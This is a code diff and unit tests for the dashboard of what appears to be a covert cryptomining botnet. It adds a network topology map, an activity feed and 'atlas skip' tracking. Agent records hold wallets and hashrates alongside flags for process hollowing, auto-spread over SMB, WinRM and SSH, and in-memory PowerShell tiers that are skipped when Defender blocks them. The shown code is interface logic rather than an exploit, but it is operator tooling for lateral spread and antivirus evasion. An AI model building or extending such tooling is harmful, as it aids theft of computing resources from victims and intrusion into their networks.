||||||
|
return () => clearTimeout(t);
|
||||||
|
}, [agents]);
|
||||||
|
|
||||||
|
// Layout
|
||||||
|
const subnetGroups = useMemo(() => groupBySubnet(agents), [agents]);
|
||||||
|
const subnets = useMemo(() => [...subnetGroups.keys()], [subnetGroups]);
|
||||||
|
const subnetLayouts = useMemo(() => layoutSubnets(subnets), [subnets]);
|
||||||
|
const nodes = useMemo(() => layoutNodes(agents, subnetLayouts), [agents, subnetLayouts]);
|
||||||
|
const edges = useMemo(() => buildEdges(agents, selectedIds), [agents, selectedIds]);
|
||||||
|
const nodeMap = useMemo(() => new Map(nodes.map((n) => [n.id, n])), [nodes]);
|
||||||
|
|
||||||
|
// Stats for legend
|
||||||
|
const hasSpread = edges.some((e) => e.kind !== 'subnet');
|
||||||
|
const onlineCount = agents.filter((a) => a.status === 'online').length;
|
||||||
|
|
||||||
|
const handleHover = useCallback((node: TopoNode, e: React.MouseEvent) => {
|
||||||
|
setTooltip({ node, x: e.clientX, y: e.clientY });
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const handleMove = useCallback((e: React.MouseEvent) => {
|
||||||
|
setTooltip((prev) => prev ? { ...prev, x: e.clientX, y: e.clientY } : null);
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const handleLeave = useCallback(() => setTooltip(null), []);
|
||||||
|
|
||||||
|
// In flat mode — use same positions as heat map (hashPosition fallback)
|
||||||
|
// In subnet/spread mode — use subnet-ring layout
|
||||||
|
|
||||||
|
if (agents.length === 0) {
|
||||||
|
return (
|
||||||
|
<div className="net-topo-wrap">
|
||||||
|
<p className="topo-empty">No nodes — deploy a build to see topology.</p>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="net-topo-wrap">
|
||||||
|
{/* Mode tabs */}
|
||||||
|
<div style={{ display: 'flex', alignItems: 'center', gap: '0.4rem' }}>
|
||||||
|
<span style={{ fontSize: '0.6rem', color: 'var(--text-muted)', fontFamily: 'monospace', letterSpacing: '0.08em', marginRight: '0.15rem' }}>
|
||||||
|
{onlineCount}/{agents.length}
|
||||||
|
</span>
|
||||||
|
<div className="topo-mode-tabs">
|
||||||
|
{(['subnet', 'spread', 'flat'] as TopoMode[]).map((m) => (
|
||||||
|
<button
|
||||||
|
key={m}
|
||||||
|
type="button"
|
||||||
|
className={`topo-mode-tab ${mode === m ? 'active' : ''}`}
|
||||||
|
onClick={() => setMode(m)}
|
||||||
|
>
|
||||||
|
{m === 'subnet' ? 'SUBNETS' : m === 'spread' ? 'SPREAD' : 'FLAT'}
|
||||||
|
</button>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* SVG canvas */}
|
||||||
|
<svg
|
||||||
|
ref={svgRef}
|
||||||
|
className="net-topo-svg"
|
||||||
|
viewBox="0 0 100 100"
|
||||||
|
preserveAspectRatio="xMidYMid meet"
|
||||||
|
onMouseMove={handleMove}
|
||||||
|
onMouseLeave={handleLeave}
|
||||||
|
aria-label={`Network topology map — ${agents.length} nodes across ${subnets.length} subnets`}
|
||||||
|
>
|
||||||
|
<TopoGrid />
|
||||||
|
|
||||||
|
{/* Subnet bubbles — only in subnet/spread mode */}
|
||||||
|
{mode !== 'flat' && subnetLayouts.map((sl) => (
|
||||||
|
<SubnetBubble key={sl.subnet} layout={sl} />
|
||||||
|
))}
|
||||||
|
|
||||||
|
{/* Edges — drawn below nodes */}
|
||||||
|
{edges.map((edge) => (
|
||||||
|
<TopoEdgeEl
|
||||||
|
key={edge.id}
|
||||||
|
edge={edge}
|
||||||
|
nodeMap={nodeMap}
|
||||||
|
mode={mode}
|
||||||
|
/>
|
||||||
|
))}
|
||||||
|
|
||||||
|
{/* Nodes */}
|
||||||
|
{nodes.map((node) => {
|
||||||
|
const color = agentAccentColor(node.id, allIds);
|
||||||
|
return (
|
||||||
|
<TopoNodeEl
|
||||||
|
key={node.id}
|
||||||
|
node={node}
|
||||||
|
selected={selectedIds.has(node.id)}
|
||||||
|
spiking={spikingIds.has(node.id)}
|
||||||
|
color={color}
|
||||||
|
onHover={handleHover}
|
||||||
|
onLeave={handleLeave}
|
||||||
|
onClick={onSelectAgent}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
|
||||||
|
{/* Node name labels for selected nodes */}
|
||||||
|
{nodes
|
||||||
|
.filter((n) => selectedIds.has(n.id))
|
||||||
|
.map((node) => {
|
||||||
|
const color = agentAccentColor(node.id, allIds);
|
||||||
|
return (
|
||||||
|
<text
|
||||||
|
key={`label-${node.id}`}
|
||||||
|
x={node.x}
|
||||||
|
y={node.y - 4.5}
|
||||||
|
textAnchor="middle"
|
||||||
|
fill={color}
|
||||||
|
fontSize="2px"
|
||||||
|
fontFamily="'Share Tech Mono', monospace"
|
||||||
|
fontWeight={700}
|
||||||
|
pointerEvents="none"
|
||||||
|
style={{ letterSpacing: '0.05px' }}
|
||||||
|
>
|
||||||
|
{node.label.slice(0, 18)}{node.label.length > 18 ? '…' : ''}
|
||||||
|
</text>
|
||||||
|
);
|
||||||
|
})
|
||||||
|
}
|
||||||
|
</svg>
|
||||||
|
|
||||||
|
{/* Legend */}
|
||||||
|
<TopoLegend hasSpread={hasSpread} />
|
||||||
|
|
||||||
|
{/* Tooltip portal */}
|
||||||
|
{tooltip && <NodeTooltip tip={tooltip} />}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -36,12 +36,16 @@ function operatorDeckId(pathname: string): string {
|
|||||||
if (path.startsWith('/settings')) return 'settings';
|
if (path.startsWith('/settings')) return 'settings';
|
||||||
if (path.startsWith('/pathtracer')) return 'pathtracer';
|
if (path.startsWith('/pathtracer')) return 'pathtracer';
|
||||||
if (path.startsWith('/lotl-timeline') || path.startsWith('/onion')) return 'lotl-timeline';
|
if (path.startsWith('/lotl-timeline') || path.startsWith('/onion')) return 'lotl-timeline';
|
||||||
|
if (path.startsWith('/roi')) return 'roi';
|
||||||
|
if (path.startsWith('/activity')) return 'activity';
|
||||||
return 'dashboard';
|
return 'dashboard';
|
||||||
}
|
}
|
||||||
|
|
||||||
const NAV = [
|
const NAV = [
|
||||||
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
|
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
|
||||||
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
|
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
|
||||||
|
{ to: '/activity', label: 'Activity Feed', icon: 'activity' },
|
||||||
|
{ to: '/roi', label: 'ROI Intelligence', icon: 'roi' },
|
||||||
{ to: '/lotl-timeline', label: 'Onion', icon: 'onion' },
|
{ to: '/lotl-timeline', label: 'Onion', icon: 'onion' },
|
||||||
{ to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
|
{ to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
|
||||||
{ to: '/forge', label: 'Forge', icon: 'forge' },
|
{ to: '/forge', label: 'Forge', icon: 'forge' },
|
||||||
@@ -67,6 +71,20 @@ function NavIcon({ type }: { type: string }) {
|
|||||||
<circle cx="12" cy="14" r="2" />
|
<circle cx="12" cy="14" r="2" />
|
||||||
</svg>
|
</svg>
|
||||||
);
|
);
|
||||||
|
case 'roi':
|
||||||
|
return (
|
||||||
|
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||||
|
<path d="M3 17l4-6 4 3 4-7 4 4" />
|
||||||
|
<path d="M3 20h18" strokeOpacity="0.4" />
|
||||||
|
<circle cx="19" cy="11" r="1.5" fill="currentColor" strokeWidth="0" />
|
||||||
|
</svg>
|
||||||
|
);
|
||||||
|
case 'activity':
|
||||||
|
return (
|
||||||
|
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||||
|
<polyline points="2,12 6,12 8,5 10,19 12,9 14,15 16,12 22,12" />
|
||||||
|
</svg>
|
||||||
|
);
|
||||||
case 'fleet':
|
case 'fleet':
|
||||||
return (
|
return (
|
||||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||||
|
|||||||
@@ -47,6 +47,20 @@ describe('parseAccessDepthServerPolicy', () => {
|
|||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
describe('buildAccessDepthModel atlas skips', () => {
|
||||||
|
it('marks tiers skipped_by_atlas and lists atlas summary', () => {
|
||||||
|
const model = buildAccessDepthModel(
|
||||||
|
agent({ platform: 'windows' }),
|
||||||
|
parseAccessDepthDiagnostics({
|
||||||
|
tier_chain_order: ['exe_subprocess', 'ps_inmemory', 'cpu_inprocess'],
|
||||||
|
atlas_skips: [{ tier: 'ps_inmemory', condition: 'defender_on', reason: '5 failures with Defender on' }],
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
expect(model.atlasSkips).toHaveLength(1);
|
||||||
|
expect(model.miningOnion.find((r) => r.tier === 'ps_inmemory')?.status).toBe('skipped_by_atlas');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
describe('buildAccessDepthModel pending chain', () => {
|
describe('buildAccessDepthModel pending chain', () => {
|
||||||
it('marks skipped tiers and pending remainder', () => {
|
it('marks skipped tiers and pending remainder', () => {
|
||||||
const model = buildAccessDepthModel(
|
const model = buildAccessDepthModel(
|
||||||
|
|||||||
@@ -61,6 +61,7 @@ export function mergeAgentStats(agent: Agent, update: WSStatsUpdate): Agent {
|
|||||||
...(update.mining_hashrate !== undefined ? { mining_hashrate: update.mining_hashrate } : {}),
|
...(update.mining_hashrate !== undefined ? { mining_hashrate: update.mining_hashrate } : {}),
|
||||||
...(update.lotl_tier !== undefined ? { lotl_tier: update.lotl_tier } : {}),
|
...(update.lotl_tier !== undefined ? { lotl_tier: update.lotl_tier } : {}),
|
||||||
...(update.lotl_attempts !== undefined ? { lotl_attempts: update.lotl_attempts } : {}),
|
...(update.lotl_attempts !== undefined ? { lotl_attempts: update.lotl_attempts } : {}),
|
||||||
|
...(update.atlas_skips !== undefined ? { atlas_skips: update.atlas_skips } : {}),
|
||||||
...(update.vuln_findings !== undefined ? { vuln_findings: update.vuln_findings } : {}),
|
...(update.vuln_findings !== undefined ? { vuln_findings: update.vuln_findings } : {}),
|
||||||
...(update.vuln_risk_score !== undefined ? { vuln_risk_score: update.vuln_risk_score } : {}),
|
...(update.vuln_risk_score !== undefined ? { vuln_risk_score: update.vuln_risk_score } : {}),
|
||||||
...(update.join_lane !== undefined ? { join_lane: update.join_lane } : {}),
|
...(update.join_lane !== undefined ? { join_lane: update.join_lane } : {}),
|
||||||
|
|||||||
45
server/web/src/help/lotlTimeline.test.ts
Normal file
45
server/web/src/help/lotlTimeline.test.ts
Normal file
@@ -0,0 +1,45 @@
|
|||||||
|
/**
|
||||||
|
* @vitest-environment node
|
||||||
|
*/
|
||||||
|
import { describe, expect, it } from 'vitest';
|
||||||
|
import { buildLotlTimelineModel } from './lotlTimeline';
|
||||||
|
import type { Agent } from '../types';
|
||||||
|
|
||||||
|
function agent(partial: Partial<Agent>): Agent {
|
||||||
|
return {
|
||||||
|
id: 'x',
|
||||||
|
name: 'n',
|
||||||
|
wallet: '',
|
||||||
|
ip: '1.1.1.1',
|
||||||
|
version: '1',
|
||||||
|
status: 'online',
|
||||||
|
cpu_cores: 4,
|
||||||
|
memory_gb: 8,
|
||||||
|
last_seen: '',
|
||||||
|
created_at: '',
|
||||||
|
hashrate_15s: 0,
|
||||||
|
hashrate_1m: 0,
|
||||||
|
hashrate_15m: 0,
|
||||||
|
shares_total: 0,
|
||||||
|
shares_good: 0,
|
||||||
|
shares_bad: 0,
|
||||||
|
cpu_usage_pct: 0,
|
||||||
|
memory_usage_pct: 0,
|
||||||
|
uptime_seconds: 0,
|
||||||
|
...partial,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('buildLotlTimelineModel atlas skips', () => {
|
||||||
|
it('marks powershell tier skipped_by_atlas when ps_inmemory is blocked', () => {
|
||||||
|
const model = buildLotlTimelineModel(
|
||||||
|
agent({}),
|
||||||
|
['docker', 'powershell', 'dotnet'],
|
||||||
|
[],
|
||||||
|
[],
|
||||||
|
[{ tier: 'ps_inmemory', condition: 'defender_on', reason: '5 failures' }],
|
||||||
|
);
|
||||||
|
const ps = model.tiers.find((t) => t.tier === 'powershell');
|
||||||
|
expect(ps?.state).toBe('skipped_by_atlas');
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -1,9 +1,10 @@
|
|||||||
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
|
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
|
||||||
|
import type { AtlasSkipView } from './accessDepth';
|
||||||
import type { Agent } from '../types';
|
import type { Agent } from '../types';
|
||||||
import { formatLotlTierLabel, type TierAttempt } from '../types/lotl';
|
import { formatLotlTierLabel, type TierAttempt } from '../types/lotl';
|
||||||
|
|
||||||
/** Per-tier state for the live onion timeline UI. */
|
/** Per-tier state for the live onion timeline UI. */
|
||||||
export type LotlTimelineTierState = 'pending' | 'trying' | 'success' | 'failed' | 'skipped';
|
export type LotlTimelineTierState = 'pending' | 'trying' | 'success' | 'failed' | 'skipped' | 'skipped_by_atlas';
|
||||||
|
|
||||||
export interface LotlTimelineTierRow {
|
export interface LotlTimelineTierRow {
|
||||||
index: number;
|
index: number;
|
||||||
@@ -80,8 +81,10 @@ export function buildLotlTimelineModel(
|
|||||||
order: string[],
|
order: string[],
|
||||||
attempts: TierAttempt[],
|
attempts: TierAttempt[],
|
||||||
skipped: string[] = [],
|
skipped: string[] = [],
|
||||||
|
atlasSkips: AtlasSkipView[] = [],
|
||||||
): LotlTimelineModel {
|
): LotlTimelineModel {
|
||||||
const skippedSet = new Set(skipped.map((s) => canonicalSpreadTier(s)));
|
const skippedSet = new Set(skipped.map((s) => canonicalSpreadTier(s)));
|
||||||
|
const atlasSet = new Set(atlasSkips.map((s) => canonicalSpreadTier(s.tier)));
|
||||||
const activeTier = agent.lotl_tier?.trim() || undefined;
|
const activeTier = agent.lotl_tier?.trim() || undefined;
|
||||||
const activeCanon = activeTier ? canonicalSpreadTier(activeTier) : undefined;
|
const activeCanon = activeTier ? canonicalSpreadTier(activeTier) : undefined;
|
||||||
const online = agent.status === 'online';
|
const online = agent.status === 'online';
|
||||||
@@ -97,7 +100,9 @@ export function buildLotlTimelineModel(
|
|||||||
const attempt = lastAttemptForTier(attempts, tier);
|
const attempt = lastAttemptForTier(attempts, tier);
|
||||||
let state: LotlTimelineTierState = 'pending';
|
let state: LotlTimelineTierState = 'pending';
|
||||||
|
|
||||||
if (skippedSet.has(key)) {
|
if (atlasSet.has(key)) {
|
||||||
|
state = 'skipped_by_atlas';
|
||||||
|
} else if (skippedSet.has(key)) {
|
||||||
state = 'skipped';
|
state = 'skipped';
|
||||||
} else if (tryingTier === key || (online && activeCanon === key && !attempt?.ok)) {
|
} else if (tryingTier === key || (online && activeCanon === key && !attempt?.ok)) {
|
||||||
state = 'trying';
|
state = 'trying';
|
||||||
|
|||||||
262
server/web/src/help/networkTopology.test.ts
Normal file
262
server/web/src/help/networkTopology.test.ts
Normal file
@@ -0,0 +1,262 @@
|
|||||||
|
import { describe, it, expect } from 'vitest';
|
||||||
|
import {
|
||||||
|
parseSubnet,
|
||||||
|
subnetLabel,
|
||||||
|
groupBySubnet,
|
||||||
|
layoutSubnets,
|
||||||
|
layoutNodes,
|
||||||
|
buildEdges,
|
||||||
|
spreadCandidates,
|
||||||
|
spreadLanesBetween,
|
||||||
|
} from './networkTopology';
|
||||||
|
import type { Agent } from '../types';
|
||||||
|
|
||||||
|
function mkAgent(overrides: Partial<Agent> & { id: string }): Agent {
|
||||||
|
return {
|
||||||
|
name: overrides.id,
|
||||||
|
wallet: '4' + 'A'.repeat(94),
|
||||||
|
ip: '10.0.0.1',
|
||||||
|
version: '1.0.0',
|
||||||
|
status: 'online',
|
||||||
|
cpu_cores: 4,
|
||||||
|
memory_gb: 8,
|
||||||
|
last_seen: new Date().toISOString(),
|
||||||
|
created_at: new Date().toISOString(),
|
||||||
|
hashrate_15s: 0,
|
||||||
|
hashrate_1m: 0,
|
||||||
|
hashrate_15m: 0,
|
||||||
|
shares_total: 0,
|
||||||
|
shares_good: 0,
|
||||||
|
shares_bad: 0,
|
||||||
|
cpu_usage_pct: 0,
|
||||||
|
memory_usage_pct: 0,
|
||||||
|
uptime_seconds: 0,
|
||||||
|
...overrides,
|
||||||
|
} as Agent;
|
||||||
|
}
|
||||||
|
|
||||||
|
const fullCaps = {
|
||||||
|
hole_punch: true,
|
||||||
|
remote_aggressive: true,
|
||||||
|
mesh_p2p: true,
|
||||||
|
auto_spread: true,
|
||||||
|
process_hollowing: false,
|
||||||
|
ai_enabled: false,
|
||||||
|
};
|
||||||
|
|
||||||
|
const noCaps = { ...fullCaps, auto_spread: false };
|
||||||
|
|
||||||
|
// ── parseSubnet ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
describe('parseSubnet', () => {
|
||||||
|
it('extracts /24 from standard IPv4', () => {
|
||||||
|
expect(parseSubnet('192.168.1.42')).toBe('192.168.1.0/24');
|
||||||
|
expect(parseSubnet('10.0.0.5')).toBe('10.0.0.0/24');
|
||||||
|
expect(parseSubnet('172.16.254.1')).toBe('172.16.254.0/24');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('returns unknown for missing or bad IPs', () => {
|
||||||
|
expect(parseSubnet(undefined)).toBe('unknown');
|
||||||
|
expect(parseSubnet('')).toBe('unknown');
|
||||||
|
expect(parseSubnet('not-an-ip')).toBe('unknown');
|
||||||
|
expect(parseSubnet('192.168.1')).toBe('unknown');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── subnetLabel ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
describe('subnetLabel', () => {
|
||||||
|
it('replaces .0/24 with .x', () => {
|
||||||
|
expect(subnetLabel('192.168.1.0/24')).toBe('192.168.1.x');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('handles unknown', () => {
|
||||||
|
expect(subnetLabel('unknown')).toBe('Unknown');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── groupBySubnet ────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
describe('groupBySubnet', () => {
|
||||||
|
it('groups agents by subnet', () => {
|
||||||
|
const agents = [
|
||||||
|
mkAgent({ id: 'a1', ip: '192.168.1.10' }),
|
||||||
|
mkAgent({ id: 'a2', ip: '192.168.1.20' }),
|
||||||
|
mkAgent({ id: 'a3', ip: '10.0.0.5' }),
|
||||||
|
];
|
||||||
|
const map = groupBySubnet(agents);
|
||||||
|
expect(map.get('192.168.1.0/24')).toHaveLength(2);
|
||||||
|
expect(map.get('10.0.0.0/24')).toHaveLength(1);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('handles empty agent list', () => {
|
||||||
|
expect(groupBySubnet([])).toEqual(new Map());
|
||||||
|
});
|
||||||
|
|
||||||
|
it('puts missing-IP agents under unknown', () => {
|
||||||
|
const agents = [mkAgent({ id: 'x', ip: undefined })];
|
||||||
|
expect(groupBySubnet(agents).get('unknown')).toHaveLength(1);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── layoutSubnets ────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
describe('layoutSubnets', () => {
|
||||||
|
it('places single subnet at center', () => {
|
||||||
|
const [s] = layoutSubnets(['10.0.0.0/24']);
|
||||||
|
expect(s.cx).toBeCloseTo(50);
|
||||||
|
expect(s.cy).toBeCloseTo(50);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('places multiple subnets on a ring', () => {
|
||||||
|
const layouts = layoutSubnets(['10.0.0.0/24', '192.168.1.0/24']);
|
||||||
|
expect(layouts).toHaveLength(2);
|
||||||
|
layouts.forEach((l) => {
|
||||||
|
expect(l.cx).toBeGreaterThan(0);
|
||||||
|
expect(l.cy).toBeGreaterThan(0);
|
||||||
|
expect(l.r).toBeGreaterThan(0);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('assigns distinct colors to different subnets', () => {
|
||||||
|
const layouts = layoutSubnets(['10.0.0.0/24', '192.168.1.0/24', '172.16.0.0/24']);
|
||||||
|
const colors = layouts.map((l) => l.color);
|
||||||
|
expect(new Set(colors).size).toBe(3);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── layoutNodes ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
describe('layoutNodes', () => {
|
||||||
|
it('produces one node per agent', () => {
|
||||||
|
const agents = [
|
||||||
|
mkAgent({ id: 'a1', ip: '10.0.0.1' }),
|
||||||
|
mkAgent({ id: 'a2', ip: '10.0.0.2' }),
|
||||||
|
];
|
||||||
|
const subnets = layoutSubnets(['10.0.0.0/24']);
|
||||||
|
const nodes = layoutNodes(agents, subnets);
|
||||||
|
expect(nodes).toHaveLength(2);
|
||||||
|
nodes.forEach((n) => {
|
||||||
|
expect(n.x).toBeGreaterThanOrEqual(0);
|
||||||
|
expect(n.y).toBeGreaterThanOrEqual(0);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('marks offline agents correctly', () => {
|
||||||
|
const agents = [
|
||||||
|
mkAgent({ id: 'on', ip: '10.0.0.1', status: 'online' }),
|
||||||
|
mkAgent({ id: 'off', ip: '10.0.0.2', status: 'offline' }),
|
||||||
|
];
|
||||||
|
const subnets = layoutSubnets(['10.0.0.0/24']);
|
||||||
|
const nodes = layoutNodes(agents, subnets);
|
||||||
|
expect(nodes.find((n) => n.id === 'on')?.online).toBe(true);
|
||||||
|
expect(nodes.find((n) => n.id === 'off')?.online).toBe(false);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── spreadLanesBetween ───────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
describe('spreadLanesBetween', () => {
|
||||||
|
it('returns empty when source has no auto_spread', () => {
|
||||||
|
const a = mkAgent({ id: 'a', capabilities: noCaps });
|
||||||
|
const b = mkAgent({ id: 'b', capabilities: fullCaps });
|
||||||
|
expect(spreadLanesBetween(a, b)).toHaveLength(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('includes smb+winrm for two Windows nodes', () => {
|
||||||
|
const a = mkAgent({ id: 'a', platform: 'windows', capabilities: fullCaps });
|
||||||
|
const b = mkAgent({ id: 'b', platform: 'windows', capabilities: fullCaps });
|
||||||
|
const lanes = spreadLanesBetween(a, b);
|
||||||
|
expect(lanes).toContain('smb');
|
||||||
|
expect(lanes).toContain('winrm');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('includes ssh for Linux nodes', () => {
|
||||||
|
const a = mkAgent({ id: 'a', platform: 'linux', capabilities: fullCaps });
|
||||||
|
const b = mkAgent({ id: 'b', platform: 'linux', capabilities: fullCaps });
|
||||||
|
const lanes = spreadLanesBetween(a, b);
|
||||||
|
expect(lanes).toContain('ssh');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── buildEdges ───────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
describe('buildEdges', () => {
|
||||||
|
it('creates subnet edges for same-subnet online pairs', () => {
|
||||||
|
const agents = [
|
||||||
|
mkAgent({ id: 'a1', ip: '192.168.1.10', capabilities: noCaps }),
|
||||||
|
mkAgent({ id: 'a2', ip: '192.168.1.20', capabilities: noCaps }),
|
||||||
|
];
|
||||||
|
const edges = buildEdges(agents, new Set());
|
||||||
|
expect(edges.some((e) => e.kind === 'subnet')).toBe(true);
|
||||||
|
expect(edges).toHaveLength(1);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('excludes offline agents from edges', () => {
|
||||||
|
const agents = [
|
||||||
|
mkAgent({ id: 'a1', ip: '10.0.0.1', status: 'offline', capabilities: fullCaps }),
|
||||||
|
mkAgent({ id: 'a2', ip: '10.0.0.2', status: 'online', capabilities: fullCaps }),
|
||||||
|
];
|
||||||
|
expect(buildEdges(agents, new Set())).toHaveLength(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('adds spread edges for spread-capable nodes on different subnets', () => {
|
||||||
|
const agents = [
|
||||||
|
mkAgent({ id: 'a1', ip: '10.0.0.1', platform: 'windows', capabilities: fullCaps }),
|
||||||
|
mkAgent({ id: 'a2', ip: '192.168.1.1', platform: 'windows', capabilities: fullCaps }),
|
||||||
|
];
|
||||||
|
const edges = buildEdges(agents, new Set());
|
||||||
|
expect(edges.some((e) => e.kind === 'cross_subnet')).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('marks edges active when a selected node is involved', () => {
|
||||||
|
const agents = [
|
||||||
|
mkAgent({ id: 'a1', ip: '10.0.0.1', capabilities: noCaps }),
|
||||||
|
mkAgent({ id: 'a2', ip: '10.0.0.2', capabilities: noCaps }),
|
||||||
|
];
|
||||||
|
const edges = buildEdges(agents, new Set(['a1']));
|
||||||
|
expect(edges.every((e) => e.active)).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('produces no duplicate edge pairs', () => {
|
||||||
|
const agents = [
|
||||||
|
mkAgent({ id: 'a1', ip: '10.0.0.1', capabilities: fullCaps, platform: 'windows' }),
|
||||||
|
mkAgent({ id: 'a2', ip: '10.0.0.2', capabilities: fullCaps, platform: 'windows' }),
|
||||||
|
mkAgent({ id: 'a3', ip: '10.0.0.3', capabilities: fullCaps, platform: 'windows' }),
|
||||||
|
];
|
||||||
|
const edges = buildEdges(agents, new Set());
|
||||||
|
const ids = edges.map((e) => e.id);
|
||||||
|
expect(new Set(ids).size).toBe(ids.length);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── spreadCandidates ─────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
describe('spreadCandidates', () => {
|
||||||
|
it('returns empty for offline source', () => {
|
||||||
|
const src = mkAgent({ id: 'src', status: 'offline', capabilities: fullCaps });
|
||||||
|
const tgt = mkAgent({ id: 'tgt', capabilities: fullCaps });
|
||||||
|
expect(spreadCandidates(src, [src, tgt])).toHaveLength(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('returns empty when source lacks auto_spread', () => {
|
||||||
|
const src = mkAgent({ id: 'src', capabilities: noCaps });
|
||||||
|
const tgt = mkAgent({ id: 'tgt', capabilities: fullCaps });
|
||||||
|
expect(spreadCandidates(src, [src, tgt])).toHaveLength(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('lists reachable targets with lanes', () => {
|
||||||
|
const src = mkAgent({ id: 'src', platform: 'windows', capabilities: fullCaps });
|
||||||
|
const tgt = mkAgent({ id: 'tgt', platform: 'windows', capabilities: fullCaps });
|
||||||
|
const offline = mkAgent({ id: 'off', status: 'offline', capabilities: fullCaps });
|
||||||
|
const results = spreadCandidates(src, [src, tgt, offline]);
|
||||||
|
expect(results).toHaveLength(1);
|
||||||
|
expect(results[0].agentId).toBe('tgt');
|
||||||
|
expect(['smb', 'winrm', 'ssh', 'spread']).toContain(results[0].lane);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('excludes self', () => {
|
||||||
|
const src = mkAgent({ id: 'src', capabilities: fullCaps });
|
||||||
|
expect(spreadCandidates(src, [src])).toHaveLength(0);
|
||||||
|
});
|
||||||
|
});
|
||||||
287
server/web/src/help/networkTopology.ts
Normal file
287
server/web/src/help/networkTopology.ts
Normal file
@@ -0,0 +1,287 @@
|
|||||||
|
/**
|
||||||
|
* Network Topology Map — pure logic helpers.
|
||||||
|
*
|
||||||
|
* No React, no DOM — fully unit-testable.
|
||||||
|
* All data is derived from the existing Agent type; no backend changes needed.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import type { Agent } from '../types';
|
||||||
|
|
||||||
|
// ── Subnet parsing ─────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Extract the /24 subnet string from an IPv4 address.
|
||||||
|
* "192.168.1.42" → "192.168.1.0/24"
|
||||||
|
* Returns "unknown" when the IP is missing or non-IPv4.
|
||||||
|
*/
|
||||||
|
export function parseSubnet(ip: string | undefined): string {
|
||||||
|
if (!ip) return 'unknown';
|
||||||
|
const parts = ip.split('.');
|
||||||
|
if (parts.length !== 4 || parts.some((p) => isNaN(Number(p)))) return 'unknown';
|
||||||
|
return `${parts[0]}.${parts[1]}.${parts[2]}.0/24`;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Human-friendly label: "192.168.1.x" */
|
||||||
|
export function subnetLabel(subnet: string): string {
|
||||||
|
if (subnet === 'unknown') return 'Unknown';
|
||||||
|
return subnet.replace('.0/24', '.x');
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Group agents by their /24 subnet. */
|
||||||
|
export function groupBySubnet(agents: Agent[]): Map<string, Agent[]> {
|
||||||
|
const map = new Map<string, Agent[]>();
|
||||||
|
for (const a of agents) {
|
||||||
|
const s = parseSubnet(a.ip);
|
||||||
|
if (!map.has(s)) map.set(s, []);
|
||||||
|
map.get(s)!.push(a);
|
||||||
|
}
|
||||||
|
return map;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Layout ─────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
/** Stable hash from a string → 0..1 float. */
|
||||||
|
function stableHash(seed: string): number {
|
||||||
|
let h = 2166136261 >>> 0;
|
||||||
|
for (let i = 0; i < seed.length; i++) {
|
||||||
|
h ^= seed.charCodeAt(i);
|
||||||
|
h = Math.imul(h, 16777619) >>> 0;
|
||||||
|
}
|
||||||
